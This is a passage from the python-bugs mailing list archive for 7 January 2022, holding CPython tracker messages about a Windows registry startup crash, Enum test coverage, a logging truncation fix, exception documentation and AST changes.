3.37.2 In-Reply-To: <1641508916.92.0.360234239162.issue45925@roundup.psfhosted.org> Message-ID: <8d07e2f0-01a6-0518-3d5a-590638fdd313@python.org> Steve Dower added the comment: > Can you update the sources repo in the mean time? Done ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:57:35 2022 From: report at bugs.python.org (=?utf-8?q?Derzsi_D=C3=A1niel?=) Date: Fri, 07 Jan 2022 19:57:35 +0000 Subject: [issue46297] Python interpreter crashes on bootup with multiple PythonPaths set in registry Message-ID: <1641585455.34.0.594665245772.issue46297@roundup.psfhosted.org> New submission from Derzsi D?niel : When multiple PythonPaths are set up in the registry, in addition to the default PythonPath, the interpreter crashes immediately on bootup. ```Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Python\PythonCore\3.11\PythonPath\Panda3D] @="C:\\Panda3D-1.11.0-x64\\python"``` The interpreter will crash with the following message: ```Exception ignored error evaluating path: Traceback (most recent call last): File "", line 652, in TypeError: QueryValue expected 2 arguments, got 1 Fatal Python error: error evaluating path Python runtime state: core initialized Current thread 0x00002bd0 (most recent call first): ``` This regression was introduced in the Python 3.11 branch with commit 99fcf1505218464c489d419d4500f126b6d6dc28 on Dec 3, 2021. ---------- components: Interpreter Core messages: 410019 nosy: darktohka priority: normal severity: normal status: open title: Python interpreter crashes on bootup with multiple PythonPaths set in registry type: crash versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 14:58:38 2022 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 07 Jan 2022 19:58:38 +0000 Subject: [issue41370] PEP 585 and ForwardRef In-Reply-To: <1595448974.26.0.905372860878.issue41370@roundup.psfhosted.org> Message-ID: <1641585518.48.0.78458313444.issue41370@roundup.psfhosted.org> Guido van Rossum added the comment: Niklas, can you show a brief example showing the issue you're running into? Is it just that list["Node"].__args__ is just ("Node",), not (ForwardRef("Node"),)? Or is it more complex? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 15:02:26 2022 From: report at bugs.python.org (Eryk Sun) Date: Fri, 07 Jan 2022 20:02:26 +0000 Subject: [issue46217] 3.11 build failure on Win10: new _freeze_module changes? In-Reply-To: <1641000516.27.0.500789613902.issue46217@roundup.psfhosted.org> Message-ID: <1641585746.7.0.930419124952.issue46217@roundup.psfhosted.org> Eryk Sun added the comment: Terry, it's just a simple bug that slipped by. The PATHCCH_OPTIONS enum in the SDK header "PathCch.h" unconditionally defines all of the options. So there's no compiler error when building with a newer version of the SDK, even though we define _WIN32_WINNT to 0x602 (Windows 8). ---------- nosy: -pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 15:03:40 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 07 Jan 2022 20:03:40 +0000 Subject: [issue28546] [doc] Clarify setting pdb breakpoints In-Reply-To: <1477659342.78.0.0469891681289.issue28546@psf.upfronthosting.co.za> Message-ID: <1641585820.35.0.587072584075.issue28546@roundup.psfhosted.org> miss-islington added the comment: New changeset ed2656a7d313dd9fa3a963d8b4dca4438cf73bc9 by Miss Islington (bot) in branch '3.10': bpo-28546: [doc] Clarify setting pdb breakpoints (GH-30360) https://github.com/python/cpython/commit/ed2656a7d313dd9fa3a963d8b4dca4438cf73bc9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 15:05:51 2022 From: report at bugs.python.org (Arie Bovenberg) Date: Fri, 07 Jan 2022 20:05:51 +0000 Subject: [issue46298] Automatically check for __slots__-mistakes in Lib Message-ID: <1641585951.85.0.318865521912.issue46298@roundup.psfhosted.org> New submission from Arie Bovenberg : Recently, I've identified some __slots__-related mistakes in the stdlib (bpo-46247, bpo-46244, bpo-46246). Looking forward, it'd be wise to automate this check so mistakes don't creep into the code in the future. Implementation-wise, the most straightforward solution would be a single test that walks all Lib/ (sub)modules and checks all classes. Perhaps those with more experience in the test suite can chime in where this check might live ---------- components: Library (Lib), Tests messages: 410023 nosy: ariebovenberg priority: normal severity: normal status: open title: Automatically check for __slots__-mistakes in Lib versions: Python 3.11 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 15:05:59 2022 From: report at bugs.python.org (Guido van Rossum) Date: Fri, 07 Jan 2022 20:05:59 +0000 Subject: [issue45661] [meta] Freeze commonly used stdlib modules. In-Reply-To: <1635449980.31.0.181297451997.issue45661@roundup.psfhosted.org> Message-ID: <1641585959.92.0.0604122996562.issue45661@roundup.psfhosted.org> Guido van Rossum added the comment: Deep-freezing is definitely not a miracle cure. We should continue to trim or delay unneeded imports (like Christian just did for setuptools' _distutils_hack). What *would* be a miracle cure would be if we could deep-freeze the module contents after it has *executed*. But that is much harder in general, since two executions (even on the same platform) could result in different module contents (e.g. conditionally defining something based on environment contents). Instagram's Cinder has something that works for this, strict modules (https://github.com/facebookincubator/cinder#strict-modules). It is a complex system! But if we could do this it could really speed up a lot of imports tremendously. (Though still at the cost of binary size increase.) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 15:06:51 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 07 Jan 2022 20:06:51 +0000 Subject: [issue28546] [doc] Clarify setting pdb breakpoints In-Reply-To: <1477659342.78.0.0469891681289.issue28546@psf.upfronthosting.co.za> Message-ID: <1641586011.59.0.287687412957.issue28546@roundup.psfhosted.org> miss-islington added the comment: New changeset a74eb5465582dd6e194a84ce4c66c12453373304 by Miss Islington (bot) in branch '3.9': bpo-28546: [doc] Clarify setting pdb breakpoints (GH-30360) https://github.com/python/cpython/commit/a74eb5465582dd6e194a84ce4c66c12453373304 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 15:07:55 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 07 Jan 2022 20:07:55 +0000 Subject: [issue28546] [doc] Clarify setting pdb breakpoints In-Reply-To: <1477659342.78.0.0469891681289.issue28546@psf.upfronthosting.co.za> Message-ID: <1641586075.01.0.46809966684.issue28546@roundup.psfhosted.org> Change by Irit Katriel : ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 15:19:22 2022 From: report at bugs.python.org (=?utf-8?q?Derzsi_D=C3=A1niel?=) Date: Fri, 07 Jan 2022 20:19:22 +0000 Subject: [issue46297] Python interpreter crashes on bootup with multiple PythonPaths set in registry In-Reply-To: <1641585455.34.0.594665245772.issue46297@roundup.psfhosted.org> Message-ID: <1641586762.11.0.684414482636.issue46297@roundup.psfhosted.org> Change by Derzsi D?niel : ---------- keywords: +patch pull_requests: +28669 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30466 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 15:21:09 2022 From: report at bugs.python.org (Ethan Furman) Date: Fri, 07 Jan 2022 20:21:09 +0000 Subject: [issue46296] Unreachable condition: `if enum_class._member_type_ is object` In-Reply-To: <1641576989.34.0.689018716767.issue46296@roundup.psfhosted.org> Message-ID: <1641586869.26.0.85369891626.issue46296@roundup.psfhosted.org> Ethan Furman added the comment: (2) is false. >>> from enum import Enum >>> >>> class MyEnum(Enum): ... def __new__(cls, value): ... member = object.__new__(cls) ... return member ... ONE = 1 ... >>> MyEnum.ONE MyEnum.ONE >>> MyEnum._use_args_ True >>> MyEnum._member_type_ If coverage shows a branch not being tested, design a test for it instead of removing the branch. ---------- assignee: -> ethan.furman nosy: +ethan.furman stage: patch review -> test needed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 15:26:20 2022 From: report at bugs.python.org (Andre Roberge) Date: Fri, 07 Jan 2022 20:26:20 +0000 Subject: [issue46291] [doc] First argument to raise can also be BaseException In-Reply-To: <1641562217.88.0.523387156492.issue46291@roundup.psfhosted.org> Message-ID: <1641587180.39.0.761075195799.issue46291@roundup.psfhosted.org> Andre Roberge added the comment: Irit: Gregor indicates that, while the tutorial refers to "a class that derives from Exception", the Python Reference Language states exceptions should be subclasses of BaseException (which Exception *is*). You then invited Gregor to submit a patch to change the wording of the tutorial (implying that it would refer to a class that derives from BaseException). I pointed out that the advice given elsewhere is that user-defined exceptions should derive from Exception (thus, not from BaseException), so that nothing should be changed in the tutorial, and no change should be submitted. So, as I understand it: there is a strict hierarchy of exceptions classes, all inheriting from BaseException. However, user-defined exceptions should be derived from Exception (and not BaseException), as indicated in the tutorial and on the page describing what each exception indicates. If that is correct, nothing needs to be changed in the tutorial. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 15:33:16 2022 From: report at bugs.python.org (Batuhan Taskaya) Date: Fri, 07 Jan 2022 20:33:16 +0000 Subject: [issue46289] AST: FomattedValue conversion's default value should be -1 In-Reply-To: <1641548418.91.0.245456792282.issue46289@roundup.psfhosted.org> Message-ID: <1641587596.27.0.875656836392.issue46289@roundup.psfhosted.org> Change by Batuhan Taskaya : ---------- keywords: +patch pull_requests: +28670 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30467 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 15:37:07 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 07 Jan 2022 20:37:07 +0000 Subject: [issue46291] [doc] First argument to raise can also be BaseException In-Reply-To: <1641562217.88.0.523387156492.issue46291@roundup.psfhosted.org> Message-ID: <1641587827.38.0.871484124899.issue46291@roundup.psfhosted.org> Irit Katriel added the comment: Andre, are you saying that we should only RAISE Exception subclasses? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 15:39:49 2022 From: report at bugs.python.org (Ethan Furman) Date: Fri, 07 Jan 2022 20:39:49 +0000 Subject: [issue46296] Unreachable condition: `if enum_class._member_type_ is object` In-Reply-To: <1641576989.34.0.689018716767.issue46296@roundup.psfhosted.org> Message-ID: <1641587989.45.0.440396114519.issue46296@roundup.psfhosted.org> Ethan Furman added the comment: Looking through some of my code that prompted that branch, the issue is caused when `_generate_next_value_` modifies the given args -- when `__set_name__` runs it has no way of getting the same results to automatically create the `_value_` attribute. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 15:43:52 2022 From: report at bugs.python.org (Dustin Oprea) Date: Fri, 07 Jan 2022 20:43:52 +0000 Subject: [issue42378] logging reopens file with same mode, possibly truncating In-Reply-To: <1605556102.98.0.0941471383568.issue42378@roundup.psfhosted.org> Message-ID: <1641588232.52.0.358588635943.issue42378@roundup.psfhosted.org> Dustin Oprea added the comment: I believe I'm seeing this, still, in an async situation. It seems like the obvious culprit. When will this go out in a release? I'm on 3.10.1 from December (under Arch). The PR got merged to master in July but I went through all changelogs back to March and don't see it listed. ---------- nosy: +Dustin.Oprea _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 15:45:08 2022 From: report at bugs.python.org (Ethan Furman) Date: Fri, 07 Jan 2022 20:45:08 +0000 Subject: [issue46296] Unreachable condition: `if enum_class._member_type_ is object` In-Reply-To: <1641576989.34.0.689018716767.issue46296@roundup.psfhosted.org> Message-ID: <1641588308.84.0.84983087723.issue46296@roundup.psfhosted.org> Change by Ethan Furman : ---------- Removed message: https://bugs.python.org/msg410029 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 15:45:28 2022 From: report at bugs.python.org (Dustin Oprea) Date: Fri, 07 Jan 2022 20:45:28 +0000 Subject: [issue42378] logging reopens file with same mode, possibly truncating In-Reply-To: <1605556102.98.0.0941471383568.issue42378@roundup.psfhosted.org> Message-ID: <1641588328.55.0.583128144468.issue42378@roundup.psfhosted.org> Dustin Oprea added the comment: <- I'm intentionally using mode 'w' (to support development) and it's never been an issue until I recently refactored the project to be asynchronous. Now, every time I fail, I suddenly lose the logs. Not awesome. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 15:54:08 2022 From: report at bugs.python.org (Ned Deily) Date: Fri, 07 Jan 2022 20:54:08 +0000 Subject: [issue34602] python3 resource.setrlimit strange behaviour under macOS In-Reply-To: <1536316486.92.0.56676864532.issue34602@psf.upfronthosting.co.za> Message-ID: <1641588848.46.0.269195152557.issue34602@roundup.psfhosted.org> Ned Deily added the comment: > @ned.deily, @lukasz.langa: reopen this issue or open a new one? Since there are so many iterations on this issue already, I think a new issue would be better. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 16:01:40 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 07 Jan 2022 21:01:40 +0000 Subject: [issue46296] Unreachable condition: `if enum_class._member_type_ is object` In-Reply-To: <1641576989.34.0.689018716767.issue46296@roundup.psfhosted.org> Message-ID: <1641589300.33.0.9751880808.issue46296@roundup.psfhosted.org> Nikita Sobolev added the comment: Yes, this is just a missing test. Not a wrong condition! ---------- components: +Tests -Library (Lib) _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 16:05:36 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 07 Jan 2022 21:05:36 +0000 Subject: [issue46289] AST: FomattedValue conversion's default value should be -1 In-Reply-To: <1641548418.91.0.245456792282.issue46289@roundup.psfhosted.org> Message-ID: <1641589536.59.0.297287339612.issue46289@roundup.psfhosted.org> miss-islington added the comment: New changeset d382f7ee0b98e4ab6ade9384268f25c06be462ad by Batuhan Taskaya in branch 'main': bpo-46289: Make conversion of FormattedValue not optional on ASDL (GH-30467) https://github.com/python/cpython/commit/d382f7ee0b98e4ab6ade9384268f25c06be462ad ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 16:10:25 2022 From: report at bugs.python.org (Andre Roberge) Date: Fri, 07 Jan 2022 21:10:25 +0000 Subject: [issue46291] [doc] First argument to raise can also be BaseException In-Reply-To: <1641562217.88.0.523387156492.issue46291@roundup.psfhosted.org> Message-ID: <1641589825.64.0.241500879372.issue46291@roundup.psfhosted.org> Andre Roberge added the comment: Irit: In all the books and tutorials I have seen, the advice is to try to catch specific exceptions whenever possible or, *at most*, to catch Exception (and not BaseException). This is to allow, for example, a program to be interrupted by a KeyboardInterrupt. As you know, the hierarchy is as follows: BaseException +-- SystemExit +-- KeyboardInterrupt +-- GeneratorExit +-- Exception +-- all others If specific action to do some cleanup before a SystemExit (usually the result of calling sys.exit()) or catching some KeyboardInterrupt (which is generally NOT done via a raise statement), then these specific exception should be caught. The documentation refers to GeneratorExit as not indicating an error needing to be caught by users. For this advice (catching Exception and not BaseException) to be correct, users should be advised (as they are in the tutorial) to raise exceptions derived from Exception (and not BaseException). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 16:14:55 2022 From: report at bugs.python.org (Ned Deily) Date: Fri, 07 Jan 2022 21:14:55 +0000 Subject: [issue46297] Python interpreter crashes on bootup with multiple PythonPaths set in registry In-Reply-To: <1641585455.34.0.594665245772.issue46297@roundup.psfhosted.org> Message-ID: <1641590095.82.0.279603113944.issue46297@roundup.psfhosted.org> Change by Ned Deily : ---------- nosy: +steve.dower _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 16:14:55 2022 From: report at bugs.python.org (Irit Katriel) Date: Fri, 07 Jan 2022 21:14:55 +0000 Subject: [issue46291] [doc] First argument to raise can also be BaseException In-Reply-To: <1641562217.88.0.523387156492.issue46291@roundup.psfhosted.org> Message-ID: <1641590095.41.0.665500663982.issue46291@roundup.psfhosted.org> Irit Katriel added the comment: > For this advice (catching Exception and not BaseException) to be correct, users should be advised (as they are in the tutorial) to raise exceptions derived from Exception (and not BaseException). I disagree with that. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 16:18:28 2022 From: report at bugs.python.org (Eryk Sun) Date: Fri, 07 Jan 2022 21:18:28 +0000 Subject: [issue46297] Python interpreter crashes on bootup with multiple PythonPaths set in registry In-Reply-To: <1641585455.34.0.594665245772.issue46297@roundup.psfhosted.org> Message-ID: <1641590308.05.0.642494098369.issue46297@roundup.psfhosted.org> Change by Eryk Sun : ---------- components: +Windows nosy: +paul.moore, tim.golden, zach.ware type: crash -> behavior _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 16:18:45 2022 From: report at bugs.python.org (Ned Deily) Date: Fri, 07 Jan 2022 21:18:45 +0000 Subject: [issue42378] logging reopens file with same mode, possibly truncating In-Reply-To: <1605556102.98.0.0941471383568.issue42378@roundup.psfhosted.org> Message-ID: <1641590325.82.0.69371686566.issue42378@roundup.psfhosted.org> Change by Ned Deily : ---------- nosy: +vinay.sajip _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 16:19:05 2022 From: report at bugs.python.org (Eryk Sun) Date: Fri, 07 Jan 2022 21:19:05 +0000 Subject: [issue46297] Python interpreter crashes on bootup with multiple PythonPaths set in registry In-Reply-To: <1641585455.34.0.594665245772.issue46297@roundup.psfhosted.org> Message-ID: <1641590345.73.0.521100602962.issue46297@roundup.psfhosted.org> Change by Eryk Sun : ---------- type: behavior -> crash _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 16:22:52 2022 From: report at bugs.python.org (Andre Roberge) Date: Fri, 07 Jan 2022 21:22:52 +0000 Subject: [issue46291] [doc] First argument to raise can also be BaseException In-Reply-To: <1641562217.88.0.523387156492.issue46291@roundup.psfhosted.org> Message-ID: <1641590572.75.0.384007506482.issue46291@roundup.psfhosted.org> Andre Roberge added the comment: >> For this advice (catching Exception and not BaseException) to be correct, users should be advised (as they are in the tutorial) to raise exceptions derived from Exception (and not BaseException). > I disagree with that. You are a core developer and I just an end-user. I respect your expertise and will no longer comment. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 16:34:03 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 07 Jan 2022 21:34:03 +0000 Subject: [issue46282] print() docs do not indicate its return value In-Reply-To: <1641482082.12.0.793901620769.issue46282@roundup.psfhosted.org> Message-ID: <1641591243.85.0.797589546841.issue46282@roundup.psfhosted.org> Terry J. Reedy added the comment: How about following "The Python interpreter has a number of functions and types built into it that are always available. They are listed here in alphabetical order." in https://docs.python.org/3/library/functions.html with "Here and elsewhere in these docs, entries for functions (including methods) that always return None usually omit 'Return None' and just say what the function does." Barry: The PEP 8 'return None' recommendation could be added to the Reference entry for 'return'. But I think this should be a separate issue as 1) it is about coding rather than documentation and 2) there is the possible objection that choosing completely explicit 'return None' versus half explicit, half implicit 'return' and the latter versus completely implicit should be left to the style PEP. ---------- nosy: +terry.reedy _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 16:44:17 2022 From: report at bugs.python.org (Andre Roberge) Date: Fri, 07 Jan 2022 21:44:17 +0000 Subject: [issue46237] Incorrect line reported in syntax error In-Reply-To: <1641195913.64.0.431874358772.issue46237@roundup.psfhosted.org> Message-ID: <1641591857.98.0.506589883404.issue46237@roundup.psfhosted.org> Andre Roberge added the comment: > This also affects 3.9 I imagine, no? Yes. And, from what I can tell, the same incorrect line is indicated at least all the way back to Python 3.6 (where it was "invalid token" instead of "invalid decimal literal). ---------- nosy: +aroberge _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 16:44:27 2022 From: report at bugs.python.org (Ethan Furman) Date: Fri, 07 Jan 2022 21:44:27 +0000 Subject: [issue46296] Unreachable condition: `if enum_class._member_type_ is object` In-Reply-To: <1641576989.34.0.689018716767.issue46296@roundup.psfhosted.org> Message-ID: <1641591867.49.0.876511198597.issue46296@roundup.psfhosted.org> Ethan Furman added the comment: New changeset 74d1663580d1914bd110c3ab7282451f5e2cd2b5 by Nikita Sobolev in branch 'main': bpo-46296: [Enum] add a test for missing `value` recovery (GH-30458) https://github.com/python/cpython/commit/74d1663580d1914bd110c3ab7282451f5e2cd2b5 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 16:45:40 2022 From: report at bugs.python.org (Ethan Furman) Date: Fri, 07 Jan 2022 21:45:40 +0000 Subject: [issue46296] Unreachable condition: `if enum_class._member_type_ is object` In-Reply-To: <1641576989.34.0.689018716767.issue46296@roundup.psfhosted.org> Message-ID: <1641591940.57.0.276629385923.issue46296@roundup.psfhosted.org> Ethan Furman added the comment: Thank you, Nikita! ---------- resolution: -> fixed stage: test needed -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 16:46:42 2022 From: report at bugs.python.org (Batuhan Taskaya) Date: Fri, 07 Jan 2022 21:46:42 +0000 Subject: [issue46289] AST: FomattedValue conversion's default value should be -1 In-Reply-To: <1641589536.59.0.297287339612.issue46289@roundup.psfhosted.org> Message-ID: Batuhan Taskaya added the comment: Should we backport this? On Sat, Jan 8, 2022, 12:05 AM miss-islington wrote: > > miss-islington added the > comment: > > > New changeset d382f7ee0b98e4ab6ade9384268f25c06be462ad by Batuhan Taskaya > in branch 'main': > bpo-46289: Make conversion of FormattedValue not optional on ASDL > (GH-30467) > > https://github.com/python/cpython/commit/d382f7ee0b98e4ab6ade9384268f25c06be462ad > > > ---------- > nosy: +miss-islington > > _______________________________________ > Python tracker > > _______________________________________ > ---------- nosy: +Batuhan Taskaya _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 16:50:44 2022 From: report at bugs.python.org (Vinay Sajip) Date: Fri, 07 Jan 2022 21:50:44 +0000 Subject: [issue42378] logging reopens file with same mode, possibly truncating In-Reply-To: <1605556102.98.0.0941471383568.issue42378@roundup.psfhosted.org> Message-ID: <1641592244.29.0.878845812166.issue42378@roundup.psfhosted.org> Vinay Sajip added the comment: I guess it got missed during the 3.10 beta cycle by not being backported - it might have needed to be cherry-picked. I'll see about getting it backported to 3.10. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 16:52:33 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 07 Jan 2022 21:52:33 +0000 Subject: [issue42378] logging reopens file with same mode, possibly truncating In-Reply-To: <1605556102.98.0.0941471383568.issue42378@roundup.psfhosted.org> Message-ID: <1641592353.61.0.11193195541.issue42378@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28671 pull_request: https://github.com/python/cpython/pull/30468 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 16:56:43 2022 From: report at bugs.python.org (Pablo Galindo Salgado) Date: Fri, 07 Jan 2022 21:56:43 +0000 Subject: [issue46289] AST: FomattedValue conversion's default value should be -1 In-Reply-To: <1641548418.91.0.245456792282.issue46289@roundup.psfhosted.org> Message-ID: <1641592603.4.0.925879004751.issue46289@roundup.psfhosted.org> Pablo Galindo Salgado added the comment: I would say yes, for consistency. It doesn't have any effects on user code that I am aware ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 17:07:03 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 07 Jan 2022 22:07:03 +0000 Subject: [issue46289] AST: FomattedValue conversion's default value should be -1 In-Reply-To: <1641548418.91.0.245456792282.issue46289@roundup.psfhosted.org> Message-ID: <1641593223.41.0.625542522302.issue46289@roundup.psfhosted.org> Change by miss-islington : ---------- pull_requests: +28672 pull_request: https://github.com/python/cpython/pull/30469 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 17:09:49 2022 From: report at bugs.python.org (Sam Gross) Date: Fri, 07 Jan 2022 22:09:49 +0000 Subject: [issue46205] test.libregrtest: Race condition in runtest_mp leads to hangs (never exits) In-Reply-To: <1640884373.19.0.652074258131.issue46205@roundup.psfhosted.org> Message-ID: <1641593389.56.0.704585680775.issue46205@roundup.psfhosted.org> Change by Sam Gross : ---------- keywords: +patch pull_requests: +28673 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30470 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 17:15:34 2022 From: report at bugs.python.org (Vinay Sajip) Date: Fri, 07 Jan 2022 22:15:34 +0000 Subject: [issue42378] logging reopens file with same mode, possibly truncating In-Reply-To: <1605556102.98.0.0941471383568.issue42378@roundup.psfhosted.org> Message-ID: <1641593734.33.0.737783915383.issue42378@roundup.psfhosted.org> Vinay Sajip added the comment: New changeset e35430bec528dfb1a653cd457ea58b5a08543632 by Miss Islington (bot) in branch '3.10': [3.10] bpo-42378: fixed log truncation on logging shutdown (GH-27310) (GH-30468) https://github.com/python/cpython/commit/e35430bec528dfb1a653cd457ea58b5a08543632 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 17:20:51 2022 From: report at bugs.python.org (Terry J. Reedy) Date: Fri, 07 Jan 2022 22:20:51 +0000 Subject: [issue46217] 3.11 build failure on Win10: new _freeze_module changes? In-Reply-To: <1641000516.27.0.500789613902.issue46217@roundup.psfhosted.org> Message-ID: <1641594051.17.0.357237074748.issue46217@roundup.psfhosted.org> Change by Terry J. Reedy : ---------- nosy: +pablogsal _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 17:23:15 2022 From: report at bugs.python.org (Barry A. Warsaw) Date: Fri, 07 Jan 2022 22:23:15 +0000 Subject: [issue46282] print() docs do not indicate its return value In-Reply-To: <1641482082.12.0.793901620769.issue46282@roundup.psfhosted.org> Message-ID: <1641594195.59.0.644505198369.issue46282@roundup.psfhosted.org> Barry A. Warsaw added the comment: > Barry: The PEP 8 'return None' recommendation could be added to the Reference entry for 'return'. But I think this should be a separate issue as 1) it is about coding rather than documentation and 2) there is the possible objection that choosing completely explicit 'return None' versus half explicit, half implicit 'return' and the latter versus completely implicit should be left to the style PEP. I do think it's a question of style. Section 7.6 of the language reference says: > If an expression list is present, it is evaluated, else None is substituted. which is the important concept that beginners should learn. I agree that the admonition in PEP 8 is really trying to say "don't mix implicit and explicit return styles". Implicit None return is fine if all exit paths are implicit. But once you add an explicit value to a return path, all return paths should use explicit values, including those that return None. IME, while I do occasionally encounter push back on this when doing reviews, most folks come around to this p.o.v. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 17:26:09 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 07 Jan 2022 22:26:09 +0000 Subject: [issue46297] Python interpreter crashes on bootup with multiple PythonPaths set in registry In-Reply-To: <1641585455.34.0.594665245772.issue46297@roundup.psfhosted.org> Message-ID: <1641594369.06.0.517772496952.issue46297@roundup.psfhosted.org> Steve Dower added the comment: New changeset c9dc1f491e8edb0bc433cde73190a3015d226891 by Daniel in branch 'main': bpo-46297: Fix interpreter crash on startup with multiple PythonPaths set in registry (GH-30466) https://github.com/python/cpython/commit/c9dc1f491e8edb0bc433cde73190a3015d226891 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 17:26:28 2022 From: report at bugs.python.org (Steve Dower) Date: Fri, 07 Jan 2022 22:26:28 +0000 Subject: [issue46297] Python interpreter crashes on bootup with multiple PythonPaths set in registry In-Reply-To: <1641585455.34.0.594665245772.issue46297@roundup.psfhosted.org> Message-ID: <1641594388.25.0.44812977083.issue46297@roundup.psfhosted.org> Steve Dower added the comment: Thanks for the report and the PR! ---------- assignee: -> steve.dower _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 17:30:25 2022 From: report at bugs.python.org (miss-islington) Date: Fri, 07 Jan 2022 22:30:25 +0000 Subject: [issue46289] AST: FomattedValue conversion's default value should be -1 In-Reply-To: <1641548418.91.0.245456792282.issue46289@roundup.psfhosted.org> Message-ID: <1641594625.44.0.519593463301.issue46289@roundup.psfhosted.org> miss-islington added the comment: New changeset bea3f42bb7c360921f864949ef7472a7ecb02cd3 by Miss Islington (bot) in branch '3.10': bpo-46289: Make conversion of FormattedValue not optional on ASDL (GH-30467) https://github.com/python/cpython/commit/bea3f42bb7c360921f864949ef7472a7ecb02cd3 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 17:38:58 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 07 Jan 2022 22:38:58 +0000 Subject: [issue46299] Improve several exception handling practices in `test_descr.py` Message-ID: <1641595138.46.0.98014410206.issue46299@roundup.psfhosted.org> New submission from Nikita Sobolev : There are several problems in `test_descr.py` that I've found: 1. In `test_dir` there's a test case that ensure that `TypeError` is raised in some case: https://github.com/python/cpython/blame/c9dc1f491e8edb0bc433cde73190a3015d226891/Lib/test/test_descr.py#L2548-L2551 But it never does anything if this error is not raised. So, this test can contain a possible problem inside. It will just skip a scenario where `TypeError` is not thrown. 2. The same with `test_file_failt` here: https://github.com/python/cpython/blame/c9dc1f491e8edb0bc433cde73190a3015d226891/Lib/test/test_descr.py#L4451-L4456 If `RuntimeError` is not thrown - nothing happens 3. `assert 0, ...` is problematic: https://github.com/python/cpython/blame/c9dc1f491e8edb0bc433cde73190a3015d226891/Lib/test/test_descr.py#L4451-L4456 It can be dropped in optimized mode and it's error message is not ideal I will send a PR with all these problems fixed. ---------- components: Tests messages: 410050 nosy: sobolevn priority: normal severity: normal status: open title: Improve several exception handling practices in `test_descr.py` type: behavior versions: Python 3.10, Python 3.11, Python 3.9 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 17:40:50 2022 From: report at bugs.python.org (Nikita Sobolev) Date: Fri, 07 Jan 2022 22:40:50 +0000 Subject: [issue46299] Improve several exception handling practices in `test_descr.py` In-Reply-To: <1641595138.46.0.98014410206.issue46299@roundup.psfhosted.org> Message-ID: <1641595250.46.0.502052729934.issue46299@roundup.psfhosted.org> Change by Nikita Sobolev : ---------- keywords: +patch pull_requests: +28674 stage: -> patch review pull_request: https://github.com/python/cpython/pull/30471 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Fri Jan 7 